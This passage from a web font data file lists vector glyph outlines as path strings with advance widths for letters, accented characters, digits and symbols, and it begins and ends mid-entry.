,86r-21,0","w":126},{"d":"19,0r0,-194v0,-44,23,-66,60,-66v65,0,82,96,20,112v41,5,50,43,50,70v0,55,-33,88,-84,78r0,-18v35,8,60,-12,61,-61v0,-41,-19,-60,-59,-58r0,-18v30,1,47,-12,47,-44v0,-24,-12,-43,-36,-43v-22,0,-38,13,-38,50r0,192r-21,0","w":159},{"d":"156,-191r-23,0v0,-32,-15,-51,-46,-51v-31,0,-49,20,-49,46v0,77,125,35,125,125v0,50,-31,75,-78,75v-51,0,-77,-29,-75,-84r23,0v-2,39,13,65,51,65v32,0,56,-16,56,-52v0,-76,-125,-33,-125,-126v0,-40,26,-68,71,-68v48,0,70,24,70,70","w":172},{"d":"117,-63r22,0v-3,41,-26,67,-62,67v-40,0,-64,-28,-64,-100v0,-66,24,-99,66,-99v44,0,63,35,61,100r-104,0v-2,53,18,81,41,81v23,0,36,-16,40,-49xm36,-113r81,0v-1,-48,-13,-64,-40,-64v-27,0,-40,16,-41,64xm90,-266r26,0r-36,51r-17,0"},{"d":"13,66r-16,0v56,-97,56,-226,0,-323r16,0v65,118,64,205,0,323","w":79},{"d":"52,-101r0,-115r-39,0r0,-13v29,0,41,-11,42,-26r16,0r0,154r-19,0","w":112},{"d":"172,14r-25,-26v-70,43,-129,-1,-129,-117v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,48,-8,83,-23,104r26,25xm132,-27r-29,-28r13,-13r28,27v10,-18,15,-48,15,-88v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113v-1,101,36,134,91,102","w":200},{"d":"21,-47r0,-144r21,0r0,134v0,31,11,43,34,43v64,0,35,-114,41,-177r22,0r0,191r-19,0v-1,-8,2,-21,-1,-27v-22,46,-98,43,-98,-20xm42,-222r0,-37r21,0r0,37r-21,0xm96,-222r0,-37r21,0r0,37r-21,0","w":159},{"d":"117,-63r22,0v-3,41,-26,67,-62,67v-40,0,-64,-28,-64,-100v0,-66,24,-99,66,-99v44,0,63,35,61,100r-104,0v-2,53,18,81,41,81v23,0,36,-16,40,-49xm36,-113r81,0v-1,-48,-13,-64,-40,-64v-27,0,-40,16,-41,64xm41,-222r0,-37r21,0r0,37r-21,0xm95,-222r0,-37r21,0r0,37r-21,0"},{"d":"82,-67r-22,0v-12,-63,57,-79,58,-132v0,-26,-16,-44,-40,-44v-31,0,-46,21,-46,60r-23,0v0,-45,21,-78,67,-78v65,-1,86,75,42,119v-19,19,-41,37,-36,75xm59,0r0,-37r25,0r0,37r-25,0"},{"d":"39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37xm39,-222r0,-37r21,0r0,37r-21,0xm93,-222r0,-37r21,0r0,37r-21,0"},{"d":"192,-50r-47,-70r-33,0r0,70r-18,0r0,-158v50,-1,112,-7,112,44v0,28,-18,40,-39,44r46,70r-21,0xm112,-192r0,56v34,-1,76,8,76,-28v-1,-36,-42,-27,-76,-28xm11,-129v0,-73,60,-132,133,-132v73,0,133,59,133,132v0,73,-60,133,-133,133v-73,0,-133,-60,-133,-133xm29,-129v0,63,52,115,115,115v63,0,115,-52,115,-115v0,-63,-52,-114,-115,-114v-63,0,-115,51,-115,114","w":288},{"d":"17,-72r0,-185r23,0r0,185v0,39,16,57,50,57v34,0,50,-18,50,-57r0,-185r23,0r0,185v0,54,-26,76,-73,76v-47,0,-73,-22,-73,-76xm53,-276r0,-37r21,0r0,37r-21,0xm107,-276r0,-37r21,0r0,37r-21,0","w":180},{"d":"39,-189v0,39,10,51,25,51v15,0,26,-12,26,-51v0,-38,-11,-50,-26,-50v-15,0,-25,12,-25,50xm66,4r110,-259r18,0r-110,259r-18,0xm170,-62v0,39,10,50,25,50v15,0,26,-11,26,-50v0,-38,-11,-50,-26,-50v-15,0,-25,12,-25,50xm19,-189v0,-52,16,-66,45,-66v29,0,46,14,46,66v0,52,-17,67,-46,67v-29,0,-45,-15,-45,-67xm150,-62v0,-52,16,-66,45,-66v29,0,46,14,46,66v0,52,-17,66,-46,66v-29,0,-45,-14,-45,-66","w":259},{"d":"22,0r0,-257r23,0r0,257r-23,0xm-4,-276r0,-37r21,0r0,37r-21,0xm50,-276r0,-37r21,0r0,37r-21,0","w":66},{"d":"15,-231r0,-20r143,0r0,20v-55,67,-86,162,-91,231r-25,0v4,-70,44,-170,94,-231r-121,0","w":172},{"d":"39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37xm39,-266r26,0r27,51r-17,0"},{"d":"66,-269r-21,0r34,-51r22,0r34,51r-21,0r-24,-36xm17,-72r0,-185r23,0r0,185v0,39,16,57,50,57v34,0,50,-18,50,-57r0,-185r23,0r0,185v0,54,-26,76,-73,76v-47,0,-73,-22,-73,-76","w":180},{"d":"11,-96v0,-66,24,-99,66,-99v42,0,66,33,66,99v0,67,-24,100,-66,100v-42,0,-66,-33,-66,-100xm34,-96v0,61,19,82,43,82v24,0,43,-21,43,-82v0,-61,-19,-81,-43,-81v-24,0,-43,20,-43,81xm39,-222r0,-37r21,0r0,37r-21,0xm93,-222r0,-37r21,0r0,37r-21,0"},{"d":"18,-129v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,92,-29,133,-82,133v-53,0,-82,-41,-82,-133xm41,-129v0,83,22,114,59,114v37,0,59,-31,59,-114v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113xm112,-320r26,0r-36,51r-17,0","w":200},{"d":"20,0r0,-257r128,0r0,19r-105,0r0,94r98,0r0,19r-98,0r0,106r108,0r0,19r-131,0xm49,-276r0,-37r21,0r0,37r-21,0xm103,-276r0,-37r21,0r0,37r-21,0","w":159},{"d":"21,-47r0,-144r21,0r0,134v0,31,11,43,34,43v64,0,35,-114,41,-177r22,0r0,191r-19,0v-1,-8,2,-21,-1,-27v-22,46,-98,43,-98,-20xm42,-266r26,0r27,51r-17,0","w":159},{"d":"6,0r0,-18r91,-155r-86,0r0,-18r109,0r0,18r-90,155r90,0r0,18r-114,0","w":126},{"d":"31,0r0,-37r24,0v-1,39,7,74,-26,87v-2,-24,15,-22,12,-50r-10,0xm31,-144r0,-36r24,0r0,36r-24,0","w":86},{"d":"76,-269r-21,0r34,-51r22,0r34,51r-21,0r-24,-36xm18,-129v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,92,-29,133,-82,133v-53,0,-82,-41,-82,-133xm41,-129v0,83,22,114,59,114v37,0,59,-31,59,-114v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113","w":200},{"d":"22,0r0,-257r23,0r0,257r-23,0xm-4,-320r26,0r27,51r-17,0","w":66},{"d":"42,-245v0,-19,16,-34,35,-34v19,0,34,15,34,34v0,19,-15,34,-34,34v-19,0,-35,-15,-35,-34xm55,-245v0,12,10,21,22,21v12,0,21,-9,21,-21v0,-12,-9,-21,-21,-21v-12,0,-22,9,-22,21xm39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37"},{"d":"17,3r0,-20r160,-74r-160,-75r0,-19r182,84r0,20","w":216},{"d":"12,-104v56,-5,-30,-173,78,-153r0,18v-22,0,-36,-4,-36,24v-1,43,7,116,-24,120v32,2,24,78,24,119v0,28,14,24,36,24r0,18v-37,4,-57,-9,-57,-43v0,-34,10,-114,-21,-109r0,-18","w":86},{"d":"22,11r162,-272r18,0r-162,272r-18,0xm52,-101r0,-115r-39,0r0,-13v29,0,41,-11,42,-26r16,0r0,154r-19,0xm161,-105r-20,0v0,-30,16,-49,50,-49v48,0,62,61,19,88v-18,11,-46,32,-48,50r75,0r0,16r-94,0v-7,-52,71,-65,73,-112v0,-18,-12,-26,-27,-26v-17,0,-27,12,-28,33","w":259},{"d":"18,-129v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,92,-29,133,-82,133v-53,0,-82,-41,-82,-133xm41,-129v0,83,22,114,59,114v37,0,59,-31,59,-114v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113xm63,-320r26,0r27,51r-17,0","w":200},{"d":"-4,-261r20,0r88,265r-20,0","w":100},{"d":"196,-101r20,0v-8,33,-34,57,-68,57v-49,0,-80,-37,-80,-85v0,-49,29,-83,79,-83v35,0,64,20,69,55r-20,0v-19,-65,-109,-37,-109,28v0,34,22,67,61,67v26,0,44,-17,48,-39xm11,-129v0,-73,60,-132,133,-132v73,0,133,59,133,132v0,73,-60,133,-133,133v-73,0,-133,-60,-133,-133xm29,-129v0,63,52,115,115,115v63,0,115,-52,115,-115v0,-63,-52,-114,-115,-114v-63,0,-115,51,-115,114","w":288},{"d":"68,-153r-7,56r44,0r7,-56r-44,0xm1,-81r0,-16r42,0r7,-56r-40,0r0,-16r42,0r11,-82r18,0r-11,82r44,0r11,-82r18,0r-11,82r40,0r0,16r-42,0r-7,56r39,0r0,16r-41,0r-11,81r-18,0r11,-81r-44,0r-11,81r-18,0r11,-81r-40,0","w":172},{"d":"22,0r0,-191r22,0r0,191r-22,0xm-4,-222r0,-37r21,0r0,37r-21,0xm50,-222r0,-37r21,0r0,37r-21,0","w":66},{"d":"45,-266r26,0r-36,51r-17,0","w":66},{"d":"154,-112r-61,0r0,-19r82,0r0,131r-18,0r0,-42v-8,28,-31,46,-57,46v-53,0,-82,-41,-82,-133v0,-92,29,-132,82,-132v49,0,71,32,74,76r-23,0v0,-31,-17,-57,-51,-57v-37,0,-59,30,-59,113v0,83,22,114,59,114v37,0,55,-37,54,-97","w":193},{"d":"11,-96v0,-66,24,-99,66,-99v42,0,66,33,66,99v0,67,-24,100,-66,100v-42,0,-66,-33,-66,-100xm34,-96v0,61,19,82,43,82v24,0,43,-21,43,-82v0,-61,-19,-81,-43,-81v-24,0,-43,20,-43,81xm39,-266r26,0r27,51r-17,0"},{"d":"21,-46r-13,-13r17,-17v-24,-28,-23,-71,0,-99r-17,-17r13,-12r16,16v26,-21,73,-21,99,1r17,-17r12,12r-17,17v23,25,23,74,1,99r16,17r-12,13r-17,-18v-27,23,-73,23,-99,1xm27,-125v0,35,28,61,59,61v31,0,60,-26,60,-61v0,-35,-29,-61,-60,-61v-31,0,-59,26,-59,61","w":172},{"d":"142,0r-60,-111r-59,111r-23,0r70,-131r-66,-126r25,0r55,104r55,-104r23,0r-66,126r71,131r-25,0","w":166},{"d":"53,-215r-22,0r35,-51r21,0r35,51r-22,0r-23,-36xm39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37"},{"d":"83,0r0,-195r-59,0r0,-16v43,0,63,-17,64,-44r16,0r0,255r-21,0","w":172},{"d":"22,0r0,-257r23,0r0,257r-23,0","w":66},{"d":"9,-215r-21,0r34,-51r22,0r34,51r-21,0r-24,-36xm22,0r0,-191r22,0r0,191r-22,0","w":66},{"d":"122,-313r16,0v2,33,-36,45,-59,22v-13,-7,-19,4,-21,15r-16,0v0,-31,34,-46,57,-24v11,10,24,-1,23,-13xm50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0","w":180},{"d":"17,-72r0,-185r23,0r0,185v0,39,16,57,50,57v34,0,50,-18,50,-57r0,-185r23,0r0,185v0,54,-26,76,-73,76v-47,0,-73,-22,-73,-76xm102,-320r26,0r-36,51r-17,0","w":180},{"d":"9,-269r-21,0r34,-51r22,0r34,51r-21,0r-24,-36xm22,0r0,-257r23,0r0,257r-23,0","w":66},{"d":"-9,-233r0,-15r85,0r0,15r-85,0","w":66},{"d":"22,0r0,-191r22,0r0,191r-22,0xm-4,-266r26,0r27,51r-17,0","w":66},{"d":"144,0r0,-128r-101,0r0,128r-23,0r0,-257r23,0r0,109r101,0r0,-109r23,0r0,257r-23,0","w":186},{"d":"204,0r0,-40r-67,0r0,-13r64,-101r21,0r0,101r20,0r0,13r-20,0r0,40r-18,0xm153,-53r51,0v-1,-25,2,-54,-1,-77xm43,11r163,-272r18,0r-163,272r-18,0xm43,-173v1,-6,-4,-17,6,-16v39,4,42,-49,6,-50v-14,0,-27,10,-27,27r-19,0v0,-26,14,-43,46,-43v50,0,61,63,18,73v50,11,39,84,-18,84v-30,0,-47,-15,-48,-44r20,0v0,13,10,28,28,28v14,0,31,-10,31,-31v0,-21,-18,-30,-43,-28","w":259},{"d":"21,-112r78,0r0,19r-78,0r0,-19","w":119},{"d":"31,0r0,-37r24,0r0,37r-24,0","w":86},{"d":"39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37"},{"d":"120,63r-1,-92v-5,20,-21,33,-45,33v-42,0,-61,-33,-61,-99v0,-66,19,-100,61,-100v25,-1,39,15,48,31r0,-27r19,0r0,254r-21,0xm120,-95v-1,-50,-6,-82,-43,-82v-21,0,-41,13,-41,82v0,71,20,81,42,81v22,0,42,-10,42,-81","w":159},{"d":"84,-14r0,-163v-21,3,-37,20,-37,82v0,67,18,80,37,81xm84,34r0,-30v-38,-2,-60,-31,-60,-100v0,-63,22,-96,60,-99r0,-30r10,0r0,30v34,2,53,24,55,61r-22,0v-2,-27,-12,-41,-33,-43r0,163v18,-4,30,-19,33,-49r22,0v-3,38,-23,63,-55,67r0,30r-10,0","w":172},{"d":"17,-72r0,-185r23,0r0,185v0,39,16,57,50,57v34,0,50,-18,50,-57r0,-185r23,0r0,185v0,54,-26,76,-73,76v-47,0,-73,-22,-73,-76","w":180},{"d":"20,0r0,-257r77,0v80,-8,89,117,20,130v61,-3,32,88,55,127r-27,0v-8,-14,-7,-38,-7,-58v0,-65,-38,-60,-95,-59r0,117r-23,0xm43,-238r0,101v51,3,97,-1,97,-50v0,-48,-45,-55,-97,-51","w":180},{"d":"176,-10r-68,-68r-68,68r-13,-13r68,-68r-68,-69r13,-12r68,68r68,-68r13,12r-68,69r68,68","w":216},{"d":"0,45r0,-18r180,0r0,18r-180,0","w":180},{"d":"20,0r0,-257r128,0r0,19r-105,0r0,94r98,0r0,19r-98,0r0,106r108,0r0,19r-131,0","w":159},{"d":"31,4r0,-97r18,0r0,97r-18,0xm31,-164r0,-97r18,0r0,97r-18,0","w":79},{"d":"22,0r0,-257r40,0r63,228r62,-228r38,0r0,257r-23,0r-1,-235r-67,235r-21,0r-68,-235r0,235r-23,0","w":246},{"d":"20,0r0,-257r23,0r1,135r98,-135r25,0r-79,107r87,150r-24,0r-77,-130r-31,40r0,90r-23,0","w":172},{"d":"20,0r0,-257r23,0r0,238r107,0r0,19r-130,0"},{"d":"22,0r0,-191r22,0r0,191r-22,0xm22,-220r0,-37r22,0r0,37r-22,0","w":66},{"d":"68,-91r0,-22r45,-50r0,24r-32,37r32,36r0,25xm21,-91r0,-22r45,-50r0,24r-33,37r33,36r0,25","w":133},{"d":"20,0r0,-257r128,0r0,19r-105,0r0,94r98,0r0,19r-98,0r0,125r-23,0"},{"d":"50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0","w":180},{"d":"22,0r0,-191r20,0r0,26v16,-42,83,-38,90,3v9,-21,24,-33,48,-33v27,0,45,15,45,49r0,146r-22,0r0,-143v0,-23,-11,-34,-30,-34v-62,0,-33,115,-39,177r-21,0r0,-143v0,-23,-11,-34,-30,-34v-62,0,-33,115,-39,177r-22,0","w":246},{"d":"50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0xm102,-320r26,0r-36,51r-17,0","w":180},{"d":"19,-55r23,0v1,25,15,41,40,41v34,0,55,-36,53,-116v-23,72,-121,42,-121,-38v0,-48,22,-87,71,-87v58,0,74,43,74,123v0,84,-17,136,-78,136v-40,0,-61,-24,-62,-59xm37,-172v0,33,12,65,47,65v35,0,48,-32,48,-65v0,-33,-13,-65,-48,-65v-35,0,-47,32,-47,65","w":172},{"d":"69,0r-68,-257r25,0r58,233r57,-233r24,0r-67,257r-29,0","w":166},{"d":"109,-258r16,0v1,22,-23,46,-45,29v-12,-9,-34,-17,-36,7r-16,0v1,-31,35,-46,58,-23v11,10,23,-2,23,-13xm39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37"},{"d":"18,-129v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,92,-29,133,-82,133v-53,0,-82,-41,-82,-133xm41,-129v0,83,22,114,59,114v37,0,59,-31,59,-114v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113xm63,-276r0,-37r21,0r0,37r-21,0xm117,-276r0,-37r21,0r0,37r-21,0","w":200},{"d":"70,50r0,-170v-32,0,-59,-30,-59,-66v-1,-73,61,-75,133,-71r0,307r-18,0r0,-291r-38,0r0,291r-18,0","w":173},{"d":"21,-47r0,-144r21,0r0,134v0,31,11,43,34,43v64,0,35,-114,41,-177r22,0r0,191r-19,0v-1,-8,2,-21,-1,-27v-22,46,-98,43,-98,-20xm91,-266r26,0r-36,51r-17,0","w":159},{"d":"75,0r0,-63r-51,0r0,-15r51,0v0,-12,1,-25,-4,-32r-47,0r0,-16r40,0r-59,-125r25,0r56,124r57,-124r24,0r-58,125r39,0r0,16r-46,0v-5,7,-4,20,-4,32r50,0r0,15r-50,0r0,63r-23,0","w":172},{"d":"181,-87r-73,-142r-73,142r-19,0r83,-164r18,0r83,164r-19,0","w":216},{"d":"67,-123r0,-18v38,3,60,-14,60,-48v0,-30,-14,-48,-42,-48v-26,0,-45,17,-45,53r-23,0v0,-42,23,-71,68,-71v72,0,90,106,24,121v30,4,49,30,49,61v0,46,-25,77,-73,77v-44,0,-69,-24,-71,-72r23,0v0,30,15,54,48,54v26,0,50,-15,50,-58v0,-39,-27,-55,-68,-51","w":172},{"d":"68,0r0,-103r-69,-154r24,0r57,128r56,-128r25,0r-70,154r0,103r-23,0","w":159},{"d":"43,-238r0,94v49,3,94,-3,94,-47v0,-50,-45,-48,-94,-47xm43,-125r0,106v54,3,102,-1,102,-53v0,-52,-48,-56,-102,-53xm20,0r0,-257r71,0v83,-7,90,101,30,120v30,9,47,30,47,65v0,45,-28,72,-77,72r-71,0","w":180},{"d":"58,0r-54,-257r23,0r46,226r44,-226r26,0r45,226r45,-226r23,0r-54,257r-29,0r-43,-226r-43,226r-29,0","w":259},{"d":"38,-125v0,82,13,111,48,111v35,0,49,-29,49,-111v0,-82,-14,-112,-49,-112v-35,0,-48,30,-48,112xm15,-125v0,-75,13,-130,71,-130v58,0,72,55,72,130v0,75,-14,129,-72,129v-58,0,-71,-54,-71,-129","w":172},{"d":"20,0r0,-257r62,0v75,0,93,44,93,128v0,84,-18,129,-93,129r-62,0xm43,-238r0,219v80,4,109,-6,109,-109v0,-103,-28,-115,-109,-110","w":193},{"d":"20,0r0,-257r31,0r99,224r0,-224r23,0r0,257r-31,0r-99,-224r0,224r-23,0","w":193},{"d":"22,0r0,-191r22,0r0,191r-22,0xm45,-266r26,0r-36,51r-17,0","w":66},{"d":"40,-175r-23,0v1,-49,24,-80,72,-80v35,0,66,20,66,69v0,73,-109,100,-115,167r117,0r0,19r-141,0v-4,-54,44,-91,80,-121v26,-22,36,-40,36,-64v0,-34,-19,-52,-45,-52v-29,0,-46,20,-47,62","w":172},{"d":"50,-94r80,0r-40,-145xm0,0r76,-257r28,0r76,257r-24,0r-21,-75r-90,0r-21,75r-24,0xm53,-276r0,-37r21,0r0,37r-21,0xm107,-276r0,-37r21,0r0,37r-21,0","w":180},{"d":"22,0r0,-257r23,0r0,257r-23,0xm45,-320r26,0r-36,51r-17,0","w":66},{"d":"117,-63r22,0v-3,41,-26,67,-62,67v-40,0,-64,-28,-64,-100v0,-66,24,-99,66,-99v44,0,63,35,61,100r-104,0v-2,53,18,81,41,81v23,0,36,-16,40,-49xm36,-113r81,0v-1,-48,-13,-64,-40,-64v-27,0,-40,16,-41,64xm41,-266r26,0r27,51r-17,0"},{"d":"39,-134r-22,0v0,-39,19,-61,59,-61v84,0,54,94,54,163v0,14,5,17,17,16r0,16v-21,6,-41,0,-38,-28v-9,25,-29,32,-50,32v-61,0,-65,-96,-10,-107v24,-12,59,0,59,-41v0,-24,-14,-33,-33,-33v-26,0,-36,15,-36,43xm64,-14v40,0,48,-47,44,-94v-18,22,-74,12,-74,57v0,22,11,37,30,37xm88,-266r26,0r-36,51r-17,0"},{"d":"52,-257r16,0r0,40r38,-12r5,15r-38,12r23,32r-12,10r-24,-33r-23,33r-13,-10r23,-32r-38,-12r5,-15r38,12r0,-40","w":120},{"d":"87,-104v0,22,9,37,31,37v39,0,67,-54,67,-87v0,-23,-9,-35,-31,-35v-39,0,-67,51,-67,85xm196,-177v5,-6,6,-17,10,-24r20,0r-41,127v0,5,4,9,10,9v32,0,64,-50,64,-87v0,-57,-52,-94,-108,-94v-71,0,-122,55,-122,117v0,65,54,117,122,117v39,0,80,-18,99,-49r22,0v-24,40,-72,65,-121,65v-80,0,-140,-60,-140,-133v0,-74,63,-132,140,-132v70,0,126,46,126,110v0,55,-46,102,-85,102v-15,0,-23,-9,-26,-24v-31,39,-99,31,-98,-29v0,-50,37,-105,88,-105v17,0,32,8,40,30","w":288},{"d":"67,-257r16,0v-56,97,-56,226,0,323r-16,0v-66,-118,-65,-205,0,-323","w":79},{"d":"29,-31r0,-142r-26,0r0,-18r26,0r0,-53r21,0r0,53r34,0r0,18r-34,0r0,137v-1,20,17,22,34,18r0,18v-27,5,-55,1,-55,-31","w":86},{"d":"34,-94v0,59,19,80,43,80v24,0,43,-21,43,-80v0,-59,-19,-79,-43,-79v-24,0,-43,20,-43,79xm42,-215r-13,-12r26,-16v-8,-9,-17,-16,-26,-24r17,-12v10,8,18,17,27,26r26,-15r13,11r-27,16v33,36,58,80,58,145v0,67,-24,100,-66,100v-42,0,-66,-34,-66,-98v0,-64,26,-97,62,-97v14,0,26,9,36,18v-12,-21,-27,-40,-42,-57"},{"d":"21,0r0,-257r21,0r1,92v5,-19,24,-30,47,-30v29,0,49,15,49,51r0,144r-22,0r0,-138v0,-26,-10,-39,-32,-39v-67,2,-36,113,-43,177r-21,0","w":159},{"d":"84,-261r20,0r-88,265r-20,0","w":100},{"d":"153,-87r23,0v-3,59,-30,91,-76,91v-53,0,-82,-41,-82,-133v0,-92,29,-132,82,-132v52,0,74,37,74,79r-23,0v0,-35,-18,-60,-51,-60v-37,0,-59,30,-59,113v0,83,22,114,59,114v32,0,50,-28,53,-72","w":186},{"d":"21,-47r0,-144r21,0r0,134v0,31,11,43,34,43v64,0,35,-114,41,-177r22,0r0,191r-19,0v-1,-8,2,-21,-1,-27v-22,46,-98,43,-98,-20","w":159},{"d":"20,0r0,-257r128,0r0,19r-105,0r0,94r98,0r0,19r-98,0r0,106r108,0r0,19r-131,0xm98,-320r26,0r-36,51r-17,0","w":159},{"d":"12,29v11,-10,10,-32,34,-29v-4,7,-14,14,-15,21v18,-7,41,5,40,22v-1,32,-46,36,-70,23r4,-11v13,8,49,6,46,-10v1,-14,-24,-16,-34,-10","w":66},{"d":"65,4v-40,0,-61,-26,-58,-79r23,0v-1,36,7,60,34,60v25,0,39,-11,39,-52r0,-190r23,0r0,193v0,44,-20,68,-61,68","w":146},{"d":"31,62r4,-190r16,0r4,190r-24,0xm31,-158r0,-37r24,0r0,37r-24,0","w":86},{"d":"107,-48v0,-49,-93,-39,-93,-92v0,-39,25,-55,57,-55v38,0,54,20,53,58r-22,0v1,-27,-9,-41,-31,-40v-43,0,-49,52,-9,64v29,10,67,26,67,60v0,33,-19,57,-59,57v-41,1,-61,-19,-59,-65r22,0v-1,30,10,48,36,47v23,0,38,-13,38,-34","w":140},{"d":"35,-251r111,0r0,20r-94,0r-11,90v39,-52,117,-25,117,58v0,51,-26,87,-76,87v-40,0,-67,-24,-67,-69r23,0v0,29,16,51,47,51v31,0,50,-25,50,-73v0,-61,-73,-86,-94,-33r-21,0","w":172},{"d":"35,-67r-4,-190r24,0r-4,190r-16,0xm31,0r0,-37r24,0r0,37r-24,0","w":86},{"d":"31,0r0,-37r24,0v-1,39,7,74,-26,87v-2,-24,15,-22,12,-50r-10,0","w":86},{"d":"31,-144r0,-36r24,0r0,36r-24,0xm31,0r0,-37r24,0r0,37r-24,0","w":86},{"d":"22,15r0,-206r22,0r0,213v-1,38,-23,47,-53,43r0,-18v20,3,31,-1,31,-32xm22,-220r0,-37r22,0r0,37r-22,0","w":66},{"d":"99,0r0,-82r-82,0r0,-18r82,0r0,-82r18,0r0,82r82,0r0,18r-82,0r0,82r-18,0","w":216},{"w":86},{"d":"17,-81r0,-20r182,-84r0,19r-160,75r160,74r0,20","w":216},{"d":"19,63r0,-320r21,0r1,98v6,-22,24,-36,45,-36v42,0,61,34,61,100v0,66,-19,99,-61,99v-25,1,-39,-15,-46,-33r0,92r-21,0xm40,-95v0,71,20,81,42,81v22,0,42,-10,42,-81v0,-71,-20,-82,-42,-82v-22,0,-42,11,-42,82","w":159},{"d":"129,-313r16,0v2,32,-37,45,-59,22v-13,-7,-20,3,-22,15r-15,0v1,-31,33,-45,57,-24v11,10,24,-1,23,-13xm20,0r0,-257r31,0r99,224r0,-224r23,0r0,257r-31,0r-99,-224r0,224r-23,0","w":193},{"d":"-4,-222r0,-37r21,0r0,37r-21,0xm50,-222r0,-37r21,0r0,37r-21,0","w":66},{"d":"18,-129v0,-92,29,-132,82,-132v53,0,82,40,82,132v0,92,-29,133,-82,133v-53,0,-82,-41,-82,-133xm41,-129v0,83,22,114,59,114v37,0,59,-31,59,-114v0,-83,-22,-113,-59,-113v-37,0,-59,30,-59,113","w":200},{"d":"46,0r-42,-191r23,0r33,169r34,-169r27,0r33,169r32,-169r24,0r-43,191r-26,0r-35,-170r-34,170r-26,0","w":213},{"d":"-4,-266r26,0r27,51r-17,0","w":66},{"d":"58,2r-55,-193r23,0r43,165r39,-165r23,0r-56,206v-12,43,-25,50,-65,48r0,-18v32,7,41,-17,48,-43xm78,-266r26,0r-36,51r-17,0","w":133},{"d":"31,4r0,-265r18,0r0,265r-18,0","w":79},{"d":"56,0r-53,-191r23,0r43,167r39,-167r23,0r-51,191r-24,0","w":133},{"d":"29,0r0,-173r-26,0r0,-18r26,0v-4,-43,3,-76,55,-68r0,18v-30,-9,-37,17,-34,50r34,0r0,18r-34,0r0,173r-21,0","w":86},{"d":"17,-117r0,-18r182,0r0,18r-182,0xm17,-47r0,-18r182,0r0,18r-182,0","w":216},{"d":"21,0r0,-191r19,0v1,8,-2,20,1,26v22,-45,98,-42,98,21r0,144r-22,0r0,-138v0,-26,-10,-39,-32,-39v-67,2,-36,113,-43,177r-21,0","w":159},{"d":"146,-208r-22,0v0,-22,-15,-35,-37,-35v-44,0,-51,48,-9,66v28,21,83,43,83,84v0,22,-15,41,-34,50v38,30,22,100,-38,97v-40,-2,-65,-25,-63,-62r22,0v0,26,12,44,40,44v47,0,49,-56,7,-74v-28,-21,-82,-43,-82,-83v0,-21,18,-42,37,-50v-44,-27,-18,-90,38,-90v37,0,58,22,58,53xm139,-94v0,-34,-53,-48,-76,-67v-41,24,-37,53,1,77r48,31v18,-9,27,-22,27,-41","w":173},{"d":"99,-120r0,-62r18,0r0,62r82,0r0,18r-82,0r0,62r-18,0r0,-62r-82,0r0,-18r82,0xm17,0r0,-18r182,0r0,18r-182,0","w":216},{"d":"112,-258r16,0v1,22,-23,46,-45,29v-12,-9,-34,-17,-35,7r-16,0v0,-31,34,-46,57,-23v11,10,24,-1,23,-13xm21,0r0,-191r19,0v1,8,-2,20,1,26v22,-45,98,-42,98,21r0,144r-22,0r0,-138v0,-26,-10,-39,-32,-39v-67,2,-36,113,-43,177r-21,0","w":159},{"d":"8,0r0,-22r125,-216r-118,0r0,-19r142,0r0,22r-124,216r125,0r0,19r-150,0","w":166},{"d":"36,-203v0,20,16,35,36,35v20,0,36,-15,36,-35v0,-20,-16,-36,-36,-36v-20,0,-36,16,-36,36xm21,-203v0,-28,23,-52,51,-52v28,0,51,24,51,52v0,28,-23,51,-51,51v-28,0,-51,-23,-51,-51","w":144},{"d":"120,0r0,-75r-69,0r-29,75r-25,0r105,-257r142,0r0,19r-101,0r0,94r94,0r0,19r-94,0r0,106r104,0r0